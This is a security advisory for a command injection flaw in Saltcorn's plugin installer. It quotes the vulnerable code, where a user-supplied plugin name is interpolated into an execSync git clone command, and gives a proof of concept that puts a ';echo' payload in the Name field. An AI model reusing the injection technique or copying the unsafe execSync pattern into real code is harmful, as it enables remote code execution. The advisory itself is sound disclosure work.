GHSA-fm76-w8jw-xf8m

Summary

When creating a new plugin using the git source, the user-controlled value req.body.name is used to build the plugin directory where the location will be cloned. The API used to execute the git clone command with the user-controlled data is child_process.execSync. Since the user-controlled data is not validated, a user with admin permission can add escaping characters and execute arbitrary commands, leading to a command injection vulnerability.

Details

Relevant code from source (req.body) to sink (child_process.execSync).

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/plugins.js#L1400

router.post(
  "/",
  isAdmin,
  error_catcher(async (req, res) => {
    const plugin = new Plugin(req.body); // [1] 
      [...]
      try {
        await load_plugins.loadAndSaveNewPlugin( // [3] 
          plugin,
          schema === db.connectObj.default_schema || plugin.source === "github"
        );
        [...]
    }
  })
);

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/saltcorn-data/models/plugin.ts#L44

class Plugin {
  [...]
  constructor(o: PluginCfg | PluginPack | Plugin) {
    [...]
    this.name = o.name; // [2] 
    [...]
}

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/load_plugins.js#L64-L65

const loadAndSaveNewPlugin = async (plugin, force, noSignalOrDB) => {
  [...]
  const loader = new PluginInstaller(plugin); // [4] 
  const res = await loader.install(force); // [7] 
  [...]
};

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L41-L61

class PluginInstaller {
  constructor(plugin, opts = {}) {
    [...]
    const tokens =
      plugin.source === "npm"
        ? plugin.location.split("/")
        : plugin.name.split("/"); // [5] 
    [...]
    this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [6] 
    [...]
  }

  
  async install(force) {
    [...]
    if (await this.prepPluginsFolder(force, pckJSON)) { // [8] 
    [...]
  }

  async prepPluginsFolder(force, pckJSON) {
    [...]
    switch (this.plugin.source) {
      [...]
      case "git":
        if (force || !(await pathExists(this.pluginDir))) { 
          await gitPullOrClone(this.plugin, this.tempDir); // [9] 
	  [...]
  }

• file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/download_utils.js#L112

const gitPullOrClone = async (plugin, pluginDir) => {
  [...]
  if (fs.existsSync(pluginDir)) {
    execSync(`git ${setKey} -C ${pluginDir} pull`);
  } else {
    execSync(`git ${setKey} clone ${plugin.location} ${pluginDir}`); // [10] 
  }
  [...]
};

PoC

• check that the file will be created by the command echo "hello">/tmp/HACKED does not exists:

cat /tmp/HACKED
cat: /tmp/HACKED: No such file or directory

• login with an admin account
• visit http://localhost:3000/plugins/new
• enter the following fields:
  • Name: ;echo "hello">/tmp/HACKED
  • Source: git
  • other fields blank
• click Create
• you will get an error saying ENOENT: no such file or directory, .... but the command touch /tmp/HACKED will be executed
• to verify:

cat /tmp/HACKED
hello

Impact

Remote code execution

Recommended Mitigation

Sanitize the pluginDir value before passing to execSync. Alternatively, use child_process. execFileSync API (docs: https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options)